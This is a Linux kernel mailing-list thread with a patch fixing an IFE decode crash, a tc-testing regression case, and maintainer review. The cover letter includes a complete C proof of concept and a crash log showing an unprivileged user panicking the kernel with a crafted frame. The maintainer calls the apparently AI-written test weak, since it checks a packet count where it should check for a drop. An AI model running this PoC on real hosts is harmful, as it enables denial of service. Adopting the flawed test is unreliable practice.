Skip to contentSkip to conversation

net: ife: fix decode header pull handling and add selftest

PATCH In review Ren Wei 3 participants 6 messages Jun 8 – Jun 9

Subsystems (5)
lore
Share & tools
lore

Ren Wei

author
#0 lore raw

v2 cover net: ife: fix decode header pull handling and add selftest

From: Yong Wang <[email protected]>

We found and validated an issue in the IFE decode path. The bug is reachable by a non-root user via user and net namespaces. We tested both the fix and a tc-testing regression testcase for it.

Following maintainer feedback on the previous round, this version keeps the tc-testing reproducer in the series. The tc-testing coverage in this round was prepared independently in response to that suggestion. If Victor's testcase version is preferable, please feel free to pick up Victor's version instead, as we are not experts in this area.

We provide detailed information about the bug in this email, along with both the standalone PoC and the tc-testing reproducer.

---- details below ----

Bug details:

tcf_ife_decode() decapsulates an incoming IFE packet and then passes the inner frame to eth_type_trans(). However, the decode path does not ensure that the decapsulated inner Ethernet header is pullable before calling eth_type_trans().

More specifically, ife_decode() only guarantees that the outer IFE header area is pullable. After it advances skb->data past the outer Ethernet header and IFE metadata, the inner Ethernet header may still be shorter than ETH_HLEN in the linear area, or may reside entirely in non-linear fragments. In that state, tcf_ife_decode() immediately calls:

    skb->protocol = eth_type_trans(skb, skb->dev);

eth_type_trans() assumes that an Ethernet header is safely accessible from the skb head and eventually reaches eth_skb_pull_mac(). With a crafted IFE frame, this can trigger a BUG in the skb pull path and panic the kernel.

The fix is to extend the pull check in ife_decode() so that the decapsulated inner Ethernet header is also guaranteed to be pullable before the helper returns to the action code.

Reproducer:

The issue can be reproduced with the added tc-testing testcase:

./tdc.py -f tc-tests/actions/ife.json -e 8a7c -v

The testcase also extends scapyPlugin with an optional mtu field. This is needed because nsPlugin places DEV0 in the root namespace, while testcase setup commands are executed inside the test namespace. Without this, the testcase cannot raise DEV0's MTU before sendp() transmits the larger malformed IFE frame.

For reference, we also validated the issue with the standalone PoC below:

gcc -O2 -static -o poc_ife_pkt poc.c
unshare -Urn ./poc_ife_pkt

We run the tests in a 2 vCPU, 2 GB RAM x86 QEMU environment.

------BEGIN poc.c------

#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <linux/if.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <net/if_arp.h>
#include <netinet/in.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>

static void die(const char *msg)

{
	perror(msg);
	exit(1);
}

static void run_cmd(const char *cmd)

{
	int ret = system(cmd);

	if (ret != 0) {
		fprintf(stderr, "command failed (%d): %s\n", ret, cmd);
		exit(1);
	}
}

static int get_ifindex(int fd, const char *ifname)

{
	struct ifreq ifr;

	memset(&ifr, 0, sizeof(ifr));
	strncpy(ifr.ifr_name, ifname, IFNAMSIZ - 1);
	if (ioctl(fd, SIOCGIFINDEX, &ifr) < 0)
		die("SIOCGIFINDEX");

	return ifr.ifr_ifindex;
}

static void get_hwaddr(int fd, const char *ifname, unsigned char *addr)

{
	struct ifreq ifr;

	memset(&ifr, 0, sizeof(ifr));
	strncpy(ifr.ifr_name, ifname, IFNAMSIZ - 1);
	if (ioctl(fd, SIOCGIFHWADDR, &ifr) < 0)
		die("SIOCGIFHWADDR");

	memcpy(addr, ifr.ifr_hwaddr.sa_data, ETH_ALEN);
}

static void setup_ns(void)

{
	run_cmd("/usr/sbin/ip link add veth0 type veth peer name veth1");
	run_cmd("/usr/sbin/ip link set dev veth0 mtu 65535");
	run_cmd("/usr/sbin/ip link set dev veth1 mtu 65535");
	run_cmd("/usr/sbin/ip link set dev veth0 up");
	run_cmd("/usr/sbin/ip link set dev veth1 up");
	run_cmd("/usr/sbin/tc qdisc add dev veth1 clsact");
	run_cmd("/usr/sbin/tc filter add dev veth1 ingress protocol 0xed3e "
		"flower action ife decode pipe");
}

static void hexdump(const void *buf, size_t len)

{
	const unsigned char *p = buf;
	size_t i;

	for (i = 0; i < len; i++) {
		fprintf(stderr, "%02x", p[i]);
		if ((i & 15) == 15 || i + 1 == len)
			fprintf(stderr, "\n");
		else
			fputc(' ', stderr);
	}
}

int main(void)

{
	const char *tx = "veth0";
	const char *rx = "veth1";
	const size_t total = 5000;
	int fd;
	int ifindex;
	unsigned char src[ETH_ALEN];
	unsigned char dst[ETH_ALEN];
	unsigned char *buf;
	struct sockaddr_ll sll;
	ssize_t n;

	setup_ns();

	fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_IFE));
	if (fd < 0)
		die("socket(AF_PACKET)");

	ifindex = get_ifindex(fd, tx);
	get_hwaddr(fd, tx, src);
	get_hwaddr(fd, rx, dst);

	buf = malloc(total);
	if (!buf)
		die("malloc");
	memset(buf, 0xdd, total);

	memcpy(buf + 0, dst, ETH_ALEN);
	memcpy(buf + 6, src, ETH_ALEN);
	buf[12] = 0xed;
	buf[13] = 0x3e;
	buf[14] = 0x00;
	buf[15] = 0x02;

	memset(buf + 16, 0xcc, ETH_HLEN);

	memset(&sll, 0, sizeof(sll));
	sll.sll_family = AF_PACKET;
	sll.sll_protocol = htons(ETH_P_IFE);
	sll.sll_ifindex = ifindex;
	sll.sll_halen = ETH_ALEN;
	memcpy(sll.sll_addr, dst, ETH_ALEN);

	fprintf(stderr, "sending %zu-byte packet on %s -> %s\n", total, tx, rx);
	fprintf(stderr,
		"src %02x:%02x:%02x:%02x:%02x:%02x dst %02x:%02x:%02x:%02x:%02x:%02x\n",
		src[0], src[1], src[2], src[3], src[4], src[5],
		dst[0], dst[1], dst[2], dst[3], dst[4], dst[5]);
	hexdump(buf, 32);

	n = sendto(fd, buf, total, 0, (struct sockaddr *)&sll, sizeof(sll));
	if (n < 0)
		die("sendto");

	fprintf(stderr, "sendto sent %zd bytes\n", n);
	sleep(1);
	return 0;
}

------END poc.c--------

The crash log below was collected while running the tc-testing testcase above.

----BEGIN crash log----

[  374.925830][    C0] kernel BUG at include/linux/skbuff.h:2848!
[  374.926337][    C0] Oops: invalid opcode: 0000 [#1] SMP KASAN NOPTI
[  374.926889][    C0] CPU: 0 UID: 0 PID: 12821 Comm: python3 Not tainted 7.1.0-rc6-00189-gf988cd8a9bbf-dirty #1 PREEMPT(full) 
[  374.927828][    C0] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014
[  374.928574][    C0] RIP: 0010:eth_type_trans+0x54f/0x750
[  374.929067][    C0] Code: e8 51 f8 44 89 75 70 be 0e 00 00 00 48 c7 c7 00 69 d9 8c e8 13 a9 2f f8 31 d2 48 89 ee 48 c7 c7 40 69 d9 8c e8 62 10 d7 ff 90 <0f> 0b 41 bc 00 01 00 00 e9 1d ff ff ff 48 8b 7c 24 28 e8 5a 81 bd
[  374.930658][    C0] RSP: 0018:ffffc90000007320 EFLAGS: 00010246
[  374.931175][    C0] RAX: 0000000000000000 RBX: ffff888050719000 RCX: ffffffff8944cb79
[  374.931845][    C0] RDX: ffff8880253e25c0 RSI: ffffffff896dacae RDI: 0000000000000001
[  374.932504][    C0] RBP: ffff8880213f43c0 R08: 0000000000000130 R09: 0000000000000000
[  374.933169][    C0] R10: 0000000000000000 R11: 000000000000000a R12: 0000000000000012
[  374.933831][    C0] R13: ffff88803853bc52 R14: 0000000000001378 R15: 0000000000000012
[  374.934496][    C0] FS:  00007f0383ee3740(0000) GS:ffff8880d6988000(0000) knlGS:0000000000000000
[  374.935242][    C0] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  374.935802][    C0] CR2: 00007f0383dd4370 CR3: 0000000064ee2000 CR4: 0000000000750ef0
[  374.936462][    C0] PKRU: 55555554
[  374.936771][    C0] Call Trace:
[  374.937053][    C0]  <IRQ>
[  374.937302][    C0]  tcf_ife_act+0x69f/0x1d00
[  374.937712][    C0]  ? srso_alias_return_thunk+0x5/0xfbef5
[  374.938198][    C0]  ? srso_alias_return_thunk+0x5/0xfbef5
[  374.938683][    C0]  ? find_held_lock+0x2b/0x80
[  374.939097][    C0]  ? __pfx_tcf_ife_act+0x10/0x10
[  374.939535][    C0]  ? srso_alias_return_thunk+0x5/0xfbef5
[  374.940024][    C0]  ? __pfx_tcf_ife_act+0x10/0x10
[  374.940459][    C0]  tcf_action_exec+0x936/0xa30
[  374.940885][    C0]  fl_classify+0x5a4/0x6f0
[  374.941277][    C0]  ? __pfx_fl_classify+0x10/0x10
[  374.941710][    C0]  ? srso_alias_return_thunk+0x5/0xfbef5
[  374.942190][    C0]  ? __lock_acquire+0x47d/0x2740
[  374.942628][    C0]  ? srso_alias_return_thunk+0x5/0xfbef5
[  374.943114][    C0]  ? __lock_acquire+0x47d/0x2740
[  374.943546][    C0]  ? __lock_acquire+0x3f2/0x2740
[  374.943986][    C0]  ? srso_alias_return_thunk+0x5/0xfbef5
[  374.944468][    C0]  ? srso_alias_return_thunk+0x5/0xfbef5
[  374.944958][    C0]  ? __lock_acquire+0x47d/0x2740
[  374.945396][    C0]  ? srso_alias_return_thunk+0x5/0xfbef5
[  374.945888][    C0]  ? srso_alias_return_thunk+0x5/0xfbef5
[  374.946373][    C0]  ? find_held_lock+0x2b/0x80
[  374.946782][    C0]  ? clockevents_program_event+0x27c/0x990
[  374.947284][    C0]  ? srso_alias_return_thunk+0x5/0xfbef5
[  374.947781][    C0]  ? srso_alias_return_thunk+0x5/0xfbef5
[  374.948259][    C0]  ? __lock_acquire+0x47d/0x2740
[  374.948694][    C0]  ? __pfx_fl_classify+0x10/0x10
[  374.949124][    C0]  tcf_classify+0x1090/0x1370
[  374.949536][    C0]  tc_run+0x46e/0x760
[  374.949898][    C0]  ? __pfx_tc_run+0x10/0x10
[  374.950297][    C0]  ? qdisc_pkt_len_segs_init+0x535/0xb30
[  374.950787][    C0]  __netif_receive_skb_core.constprop.0+0x10ac/0x3320
[  374.951356][    C0]  ? try_to_wake_up+0xa0d/0x18d0
[  374.951787][    C0]  ? srso_alias_return_thunk+0x5/0xfbef5
[  374.952271][    C0]  ? do_raw_spin_unlock+0x147/0x1f0
[  374.952722][    C0]  ? srso_alias_return_thunk+0x5/0xfbef5
[  374.953204][    C0]  ? _raw_spin_unlock_irqrestore+0x41/0x70
[  374.953714][    C0]  ? __pfx___netif_receive_skb_core.constprop.0+0x10/0x10
[  374.954313][    C0]  ? __pfx_try_to_wake_up+0x10/0x10
[  374.954770][    C0]  ? srso_alias_return_thunk+0x5/0xfbef5
[  374.955253][    C0]  ? srso_alias_return_thunk+0x5/0xfbef5
[  374.955741][    C0]  ? __css_rstat_updated+0x1c0/0x570
[  374.956208][    C0]  ? srso_alias_return_thunk+0x5/0xfbef5
[  374.956717][    C0]  ? __lock_acquire+0x47d/0x2740
[  374.957160][    C0]  __netif_receive_skb_one_core+0xaf/0x1e0
[  374.957663][    C0]  ? __pfx___netif_receive_skb_one_core+0x10/0x10
[  374.958225][    C0]  ? srso_alias_return_thunk+0x5/0xfbef5
[  374.958718][    C0]  ? srso_alias_return_thunk+0x5/0xfbef5
[  374.959203][    C0]  ? process_backlog+0x330/0x1540
[  374.959635][    C0]  ? process_backlog+0x330/0x1540
[  374.960078][    C0]  __netif_receive_skb+0x1d/0x160
[  374.960513][    C0]  process_backlog+0x382/0x1540
[  374.960943][    C0]  __napi_poll.constprop.0+0xb3/0x540
[  374.961406][    C0]  net_rx_action+0x9b1/0xea0
[  374.961812][    C0]  ? __pfx_net_rx_action+0x10/0x10
[  374.962251][    C0]  ? srso_alias_return_thunk+0x5/0xfbef5
[  374.962740][    C0]  ? sched_clock+0x37/0x60
[  374.963126][    C0]  ? sched_clock_cpu+0x6c/0x550
[  374.963552][    C0]  ? __pfx_sched_clock_cpu+0x10/0x10
[  374.964019][    C0]  ? srso_alias_return_thunk+0x5/0xfbef5
[  374.964507][    C0]  ? sched_clock_cpu+0x6c/0x550
[  374.964941][    C0]  ? __dev_queue_xmit+0xe10/0x4310
[  374.965383][    C0]  ? srso_alias_return_thunk+0x5/0xfbef5
[  374.965876][    C0]  ? rcu_is_watching+0x12/0xc0
[  374.966294][    C0]  handle_softirqs+0x1d4/0x9d0
[  374.966727][    C0]  ? __dev_queue_xmit+0xe10/0x4310
[  374.967168][    C0]  do_softirq+0xac/0xe0
[  374.967542][    C0]  </IRQ>
[  374.967803][    C0]  <TASK>
[  374.968058][    C0]  __local_bh_enable_ip+0x100/0x120
[  374.968518][    C0]  ? __dev_queue_xmit+0xe10/0x4310
[  374.968964][    C0]  __dev_queue_xmit+0xe25/0x4310
[  374.969394][    C0]  ? srso_alias_return_thunk+0x5/0xfbef5
[  374.969888][    C0]  ? __might_fault+0xe0/0x190
[  374.970308][    C0]  ? __pfx___dev_queue_xmit+0x10/0x10
[  374.970785][    C0]  ? srso_alias_return_thunk+0x5/0xfbef5
[  374.971267][    C0]  ? _copy_from_iter+0x14b/0x1710
[  374.971715][    C0]  ? srso_alias_return_thunk+0x5/0xfbef5
[  374.972198][    C0]  ? _copy_from_iter+0x14b/0x1710
[  374.972637][    C0]  ? __pfx__copy_from_iter+0x10/0x10
[  374.973124][    C0]  ? srso_alias_return_thunk+0x5/0xfbef5
[  374.973607][    C0]  ? __pfx__copy_from_iter+0x10/0x10
[  374.974074][    C0]  ? srso_alias_return_thunk+0x5/0xfbef5
[  374.974555][    C0]  ? packet_parse_headers+0x43d/0x7f0
[  374.975022][    C0]  ? srso_alias_return_thunk+0x5/0xfbef5
[  374.975505][    C0]  ? packet_parse_headers+0x1ef/0x7f0
[  374.975968][    C0]  ? __pfx_packet_parse_headers+0x10/0x10
[  374.976455][    C0]  packet_xmit+0x247/0x370
[  374.976850][    C0]  packet_sendmsg+0x2f72/0x4ee0
[  374.977278][    C0]  ? srso_alias_return_thunk+0x5/0xfbef5
[  374.977771][    C0]  ? sock_has_perm+0x21f/0x2c0
[  374.978192][    C0]  ? __pfx_sock_has_perm+0x10/0x10
[  374.978636][    C0]  ? tomoyo_socket_sendmsg_permission+0x13b/0x3a0
[  374.979183][    C0]  ? __pfx_packet_sendmsg+0x10/0x10
[  374.979641][    C0]  ? __pfx_packet_sendmsg+0x10/0x10
[  374.980093][    C0]  __sys_sendto+0x4a4/0x4f0
[  374.980484][    C0]  ? srso_alias_return_thunk+0x5/0xfbef5
[  374.980978][    C0]  ? __pfx___sys_sendto+0x10/0x10
[  374.981428][    C0]  ? count_memcg_events_mm.constprop.0+0xfa/0x2a0
[  374.981986][    C0]  ? srso_alias_return_thunk+0x5/0xfbef5
[  374.982469][    C0]  ? srso_alias_return_thunk+0x5/0xfbef5
[  374.982961][    C0]  ? exc_page_fault+0xbe/0x170
[  374.983382][    C0]  ? srso_alias_return_thunk+0x5/0xfbef5
[  374.983872][    C0]  ? srso_alias_return_thunk+0x5/0xfbef5
[  374.984354][    C0]  ? rcu_is_watching+0x12/0xc0
[  374.984777][    C0]  __x64_sys_sendto+0xe0/0x1c0
[  374.985190][    C0]  ? srso_alias_return_thunk+0x5/0xfbef5
[  374.985674][    C0]  ? lockdep_hardirqs_on+0x7c/0x110
[  374.986132][    C0]  do_syscall_64+0x11f/0x860
[  374.986540][    C0]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[  374.987050][    C0] RIP: 0033:0x7f038426944c
[  374.987429][    C0] Code: 89 02 48 c7 c0 ff ff ff ff eb b5 0f 1f 00 41 89 ca 64 8b 04 25 18 00 00 00 85 c0 75 19 45 31 c9 45 31 c0 b8 2c 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 64 c3 0f 1f 00 55 48 83 ec 20 48 89 54 24 10
[  374.989008][    C0] RSP: 002b:00007ffc7eddc258 EFLAGS: 00000246 ORIG_RAX: 000000000000002c
[  374.989707][    C0] RAX: ffffffffffffffda RBX: 00007ffc7eddc300 RCX: 00007f038426944c
[  374.990360][    C0] RDX: 0000000000001388 RSI: 000000000ba2ce70 RDI: 0000000000000003
[  374.991023][    C0] RBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000000000
[  374.991680][    C0] R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000
[  374.992339][    C0] R13: ffffffffc4653600 R14: 00007ffc7eddc300 R15: 0000000000000001
[  374.993007][    C0]  </TASK>
[  374.993267][    C0] Modules linked in:
[  374.993628][    C0] ---[ end trace 0000000000000000 ]---
[  374.994106][    C0] RIP: 0010:eth_type_trans+0x54f/0x750
[  374.994586][    C0] Code: e8 51 f8 44 89 75 70 be 0e 00 00 00 48 c7 c7 00 69 d9 8c e8 13 a9 2f f8 31 d2 48 89 ee 48 c7 c7 40 69 d9 8c e8 62 10 d7 ff 90 <0f> 0b 41 bc 00 01 00 00 e9 1d ff ff ff 48 8b 7c 24 28 e8 5a 81 bd
[  374.996169][    C0] RSP: 0018:ffffc90000007320 EFLAGS: 00010246
[  374.996679][    C0] RAX: 0000000000000000 RBX: ffff888050719000 RCX: ffffffff8944cb79
[  374.997337][    C0] RDX: ffff8880253e25c0 RSI: ffffffff896dacae RDI: 0000000000000001
[  374.997998][    C0] RBP: ffff8880213f43c0 R08: 0000000000000130 R09: 0000000000000000
[  374.998647][    C0] R10: 0000000000000000 R11: 000000000000000a R12: 0000000000000012
[  374.999301][    C0] R13: ffff88803853bc52 R14: 0000000000001378 R15: 0000000000000012
[  374.999956][    C0] FS:  00007f0383ee3740(0000) GS:ffff8880d6988000(0000) knlGS:0000000000000000
[  375.000690][    C0] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  375.001235][    C0] CR2: 00007f0383dd4370 CR3: 0000000064ee2000 CR4: 0000000000750ef0
[  375.001897][    C0] PKRU: 55555554
[  375.002201][    C0] Kernel panic - not syncing: Fatal exception in interrupt
[  375.002933][    C0] Kernel Offset: disabled
[  375.003295][    C0] Rebooting in 86400 seconds..

-----END crash log-----

Best regards,
Yong Wang

Yong Wang (2):
selftests: tc-testing: cover malformed IFE decode frames
net: ife: require ETH_HLEN to be pullable in ife_decode()

 net/ife/ife.c                                 |  2 +-
 .../tc-testing/plugin-lib/scapyPlugin.py      |  6 ++
 .../tc-testing/tc-tests/actions/ife.json      | 62 +++++++++++++++++++
 3 files changed, 69 insertions(+), 1 deletion(-)
Signature · 1 line
2.34.1
author
#1 lore raw

PATCH v2 1/2 selftests: tc-testing: cover malformed IFE decode frames

From: Yong Wang <[email protected]>

Add a tc-testing regression case for IFE decode with a malformed ETH_P_IFE frame carrying only the minimal IFE metadata header followed by a truncated inner Ethernet header.

The test installs an ingress flower rule with "action ife decode pipe" and injects an IFE frame from scapy, then verifies packet accounting through "tc -s -j filter show". Using JSON output makes the check less sensitive to formatting differences in tc's text output.

To let the testcase send the larger frame shape it needs, extend scapyPlugin with an optional "mtu" field and apply it to the transmit interface before sendp(). This is needed because nsPlugin creates DEV0 in the root namespace, so testcase setup commands executed inside the test namespace cannot adjust DEV0 directly.

---
Changes in v2:
- add a tc-testing regression case for the malformed IFE decode frame
- add an optional mtu field to scapyPlugin for the reproducer
- v1 link: https://lore.kernel.org/all/6200dc9e5ea7a85d500e72543d897c2d930fcdce.1780809474.git.edragain@163.com/

 .../tc-testing/plugin-lib/scapyPlugin.py      |  6 ++
 .../tc-testing/tc-tests/actions/ife.json      | 62 +++++++++++++++++++
 2 files changed, 68 insertions(+)
tools/testing/selftests/tc-testing/plugin-lib/scapyPlugin.py +6 -0
index 254136e3da5a..e84b344dd1fa 100644
@@ -50,5 +50,11 @@ class SubPlugin(TdcPlugin):
             if '$' in scapyinfo['iface']:
                 tpl = Template(scapyinfo['iface'])
                 scapyinfo['iface'] = tpl.safe_substitute(NAMES)
+            if 'mtu' in scapyinfo:
+                subprocess.run(
+                    [NAMES['IP'], 'link', 'set', 'dev',
+                     scapyinfo['iface'], 'mtu', str(scapyinfo['mtu'])],
+                    check=True, stdout=subprocess.DEVNULL,
+                    stderr=subprocess.DEVNULL, env=ENVIR)
             for count in range(scapyinfo['count']):
                 sendp(pkt, iface=scapyinfo['iface'])
tools/testing/selftests/tc-testing/tc-tests/actions/ife.json +62 -0

67 lines not on this page · raw message

Signature · 1 line
2.34.1
maintainer
#2 lore raw

Re: [PATCH net v2 1/2] selftests: tc-testing: cover malformed IFE decode frames

Quoted 86 lines · Ren Wei

From: Yong Wang <[email protected]>

Add a tc-testing regression case for IFE decode with a malformed ETH_P_IFE frame carrying only the minimal IFE metadata header followed by a truncated inner Ethernet header.

The test installs an ingress flower rule with "action ife decode pipe" and injects an IFE frame from scapy, then verifies packet accounting through "tc -s -j filter show". Using JSON output makes the check less sensitive to formatting differences in tc's text output.

To let the testcase send the larger frame shape it needs, extend scapyPlugin with an optional "mtu" field and apply it to the transmit interface before sendp(). This is needed because nsPlugin creates DEV0 in the root namespace, so testcase setup commands executed inside the test namespace cannot adjust DEV0 directly.

---
Changes in v2:
- add a tc-testing regression case for the malformed IFE decode frame
- add an optional mtu field to scapyPlugin for the reproducer
- v1 link: https://lore.kernel.org/all/6200dc9e5ea7a85d500e72543d897c2d930fcdce.1780809474.git.edragain@163.com/

 .../tc-testing/plugin-lib/scapyPlugin.py      |  6 ++
 .../tc-testing/tc-tests/actions/ife.json      | 62 +++++++++++++++++++
 2 files changed, 68 insertions(+)
tools/testing/selftests/tc-testing/plugin-lib/scapyPlugin.py +6 -0
index 254136e3da5a..e84b344dd1fa 100644
@@ -50,5 +50,11 @@ class SubPlugin(TdcPlugin):
             if '$' in scapyinfo['iface']:
                 tpl = Template(scapyinfo['iface'])
                 scapyinfo['iface'] = tpl.safe_substitute(NAMES)
+            if 'mtu' in scapyinfo:
+                subprocess.run(
+                    [NAMES['IP'], 'link', 'set', 'dev',
+                     scapyinfo['iface'], 'mtu', str(scapyinfo['mtu'])],
+                    check=True, stdout=subprocess.DEVNULL,
+                    stderr=subprocess.DEVNULL, env=ENVIR)
             for count in range(scapyinfo['count']):
                 sendp(pkt, iface=scapyinfo['iface'])
tools/testing/selftests/tc-testing/tc-tests/actions/ife.json +28 -0
index 808aef4afe22..062efbe284dc 100644
@@ -1378,5 +1378,67 @@
         "teardown": [
             "$TC actions flush action ife"
         ]
+    },
+    {
+        "id": "8a7c",
+        "name": "Decode malformed ife frame with truncated inner ethernet header",
+        "category": [
+            "actions",
+            "ife",
+            "scapy"
+        ],
+        "plugins": {
+            "requires": [
+                "nsPlugin",
+                "scapyPlugin"
+            ]
+        },
+        "setup": [
+            [
+                "$TC actions flush action ife",
+                0,
+                1,
+                255
+            ],
+            [
+                "$TC qdisc del dev $DEV1 clsact",
+                0,
+                1,
+                2,
+                255

tools/testing/selftests/tc-testing/tc-tests/actions/ife.json line 1418

Quoted 10 lines
tools/testing/selftests/tc-testing/tc-tests/actions/ife.json +10 -0
+            ],
+            "$IP link set dev $DEV1 mtu 65535",
+            "$TC qdisc add dev $DEV1 clsact",
+            "$TC filter add dev $DEV1 ingress protocol 0xed3e prio 1 flower action ife decode pipe"
+        ],
+        "cmdUnderTest": "$TC -s -j filter show dev $DEV1 ingress",
+        "scapy": {
+            "iface": "$DEV0",
+            "count": 1,
+            "mtu": 65535,

I am not following - why is this the mtu being set?

tools/testing/selftests/tc-testing/tc-tests/actions/ife.json line 1419

Quoted 1 line
tools/testing/selftests/tc-testing/tc-tests/actions/ife.json +1 -0
+            "packet": "Ether(dst='ff:ff:ff:ff:ff:ff', type=0xED3E)/Raw(b'\\x00\\x02' + b'\\xcc' * 14 + b'\\xdd' * (5000 - 16 - 14))"

And why do you need such a big payload?

Quoted 6 lines
tools/testing/selftests/tc-testing/tc-tests/actions/ife.json +6 -0
+        },
+        "expExitCode": "0",
+        "verifyCmd": "$TC -s -j filter show dev $DEV1 ingress",
+        "matchJSON": [
+            {
+                "kind": "flower"

tools/testing/selftests/tc-testing/tc-tests/actions/ife.json line 1435

Quoted 10 lines
tools/testing/selftests/tc-testing/tc-tests/actions/ife.json +10 -0
+            },
+            {
+                "options": {
+                    "actions": [
+                        {
+                            "kind": "ife",
+                            "stats": {
+                                "packets": 1
+                            }
+                        }

Should you not be checking for a drop here?

The AI didn't do a good job here.
Please use Victor's patch and resend. Also the tdc testcase should be patch 2 not 1.

cheers,
jamal

Quoted 12 lines
tools/testing/selftests/tc-testing/tc-tests/actions/ife.json +7 -1
+                    ]
+                }
+            }
+        ],
+        "teardown": [
+            "$TC qdisc del dev $DEV1 clsact"
+        ]
     }
 ]
--

2.34.1

#3 lore raw

Re: [PATCH net v2 1/2] selftests: tc-testing: cover malformed IFE decode frames

Quoted 91 lines · Jamal Hadi Salim
Quoted 90 lines · Ren Wei

From: Yong Wang <[email protected]>

Add a tc-testing regression case for IFE decode with a malformed ETH_P_IFE frame carrying only the minimal IFE metadata header followed by a truncated inner Ethernet header.

The test installs an ingress flower rule with "action ife decode pipe" and injects an IFE frame from scapy, then verifies packet accounting through "tc -s -j filter show". Using JSON output makes the check less sensitive to formatting differences in tc's text output.

To let the testcase send the larger frame shape it needs, extend scapyPlugin with an optional "mtu" field and apply it to the transmit interface before sendp(). This is needed because nsPlugin creates DEV0 in the root namespace, so testcase setup commands executed inside the test namespace cannot adjust DEV0 directly.

---
Changes in v2:
- add a tc-testing regression case for the malformed IFE decode frame
- add an optional mtu field to scapyPlugin for the reproducer
- v1 link: https://lore.kernel.org/all/6200dc9e5ea7a85d500e72543d897c2d930fcdce.1780809474.git.edragain@163.com/

 .../tc-testing/plugin-lib/scapyPlugin.py      |  6 ++
 .../tc-testing/tc-tests/actions/ife.json      | 62 +++++++++++++++++++
 2 files changed, 68 insertions(+)
tools/testing/selftests/tc-testing/plugin-lib/scapyPlugin.py +6 -0
index 254136e3da5a..e84b344dd1fa 100644
@@ -50,5 +50,11 @@ class SubPlugin(TdcPlugin):
             if '$' in scapyinfo['iface']:
                 tpl = Template(scapyinfo['iface'])
                 scapyinfo['iface'] = tpl.safe_substitute(NAMES)
+            if 'mtu' in scapyinfo:
+                subprocess.run(
+                    [NAMES['IP'], 'link', 'set', 'dev',
+                     scapyinfo['iface'], 'mtu', str(scapyinfo['mtu'])],
+                    check=True, stdout=subprocess.DEVNULL,
+                    stderr=subprocess.DEVNULL, env=ENVIR)
             for count in range(scapyinfo['count']):
                 sendp(pkt, iface=scapyinfo['iface'])
tools/testing/selftests/tc-testing/tc-tests/actions/ife.json +32 -0
index 808aef4afe22..062efbe284dc 100644
@@ -1378,5 +1378,67 @@
         "teardown": [
             "$TC actions flush action ife"
         ]
+    },
+    {
+        "id": "8a7c",
+        "name": "Decode malformed ife frame with truncated inner ethernet header",
+        "category": [
+            "actions",
+            "ife",
+            "scapy"
+        ],
+        "plugins": {
+            "requires": [
+                "nsPlugin",
+                "scapyPlugin"
+            ]
+        },
+        "setup": [
+            [
+                "$TC actions flush action ife",
+                0,
+                1,
+                255
+            ],
+            [
+                "$TC qdisc del dev $DEV1 clsact",
+                0,
+                1,
+                2,
+                255
+            ],
+            "$IP link set dev $DEV1 mtu 65535",
+            "$TC qdisc add dev $DEV1 clsact",
+            "$TC filter add dev $DEV1 ingress protocol 0xed3e prio 1 flower action ife decode pipe"
Quoted 9 lines

tools/testing/selftests/tc-testing/tc-tests/actions/ife.json line 1418

Quoted 6 lines
tools/testing/selftests/tc-testing/tc-tests/actions/ife.json +6 -0
+        ],
+        "cmdUnderTest": "$TC -s -j filter show dev $DEV1 ingress",
+        "scapy": {
+            "iface": "$DEV0",
+            "count": 1,
+            "mtu": 65535,

I am not following - why is this the mtu being set?

In this setup, nsPlugin creates $DEV0/$DEV1 as a veth pair. A veth device uses the normal Ethernet default MTU via ether_setup(), which sets dev->mtu = ETH_DATA_LEN, and ETH_DATA_LEN is 1500. To send big payload(>1500), setting mtu is needed.

Quoted 5 lines

tools/testing/selftests/tc-testing/tc-tests/actions/ife.json line 1419

Quoted 1 line
tools/testing/selftests/tc-testing/tc-tests/actions/ife.json +1 -0
+            "packet": "Ether(dst='ff:ff:ff:ff:ff:ff', type=0xED3E)/Raw(b'\\x00\\x02' + b'\\xcc' * 14 + b'\\xdd' * (5000 - 16 - 14))"

And why do you need such a big payload?

I tested this locally and found that the minimum packet length that reliably triggers the panic in my setup is about 4080 bytes. I guess that is because the reproducer needs to cross the AF_PACKET allocation threshold in packet_alloc_skb():

    if (prepad + len < PAGE_SIZE || !linear)
        linear = len;

Below that threshold, the packet appears to stay fully linear, which does not reproduce the non-linear inner-header condition needed for the eth_type_trans() crash. So the crafted frame needs to be at least that large to reliably trigger the original panic path.

Quoted 18 lines
Quoted 7 lines
tools/testing/selftests/tc-testing/tc-tests/actions/ife.json +6 -0
+        },
+        "expExitCode": "0",
+        "verifyCmd": "$TC -s -j filter show dev $DEV1 ingress",
+        "matchJSON": [
+            {
+                "kind": "flower"

tools/testing/selftests/tc-testing/tc-tests/actions/ife.json line 1435

Quoted 10 lines
tools/testing/selftests/tc-testing/tc-tests/actions/ife.json +10 -0
+            },
+            {
+                "options": {
+                    "actions": [
+                        {
+                            "kind": "ife",
+                            "stats": {
+                                "packets": 1
+                            }
+                        }
Quoted 2 lines

Should you not be checking for a drop here?

Yes, I will modify it right away.

Quoted 7 lines

The AI didn't do a good job here.
Please use Victor's patch and resend. Also the tdc testcase should be patch 2 not 1.

cheers,
jamal

I tested Victor's testcase locally. It does cover the truncated inner-header case, but it did not trigger the panic I originally observed. Would you prefer that I resend the series using Victor's testcase anyway, or sending a tdc testcase which trigger panic? Also I will adjust the patch ordering.
Thanks,
Yong

Quoted 13 lines
Quoted 13 lines
tools/testing/selftests/tc-testing/tc-tests/actions/ife.json +7 -1
+                    ]
+                }
+            }
+        ],
+        "teardown": [
+            "$TC qdisc del dev $DEV1 clsact"
+        ]
     }
 ]
--

2.34.1

maintainer
#4 lore raw

Re: [PATCH net v2 1/2] selftests: tc-testing: cover malformed IFE decode frames

Quoted 110 lines · Yong Wang
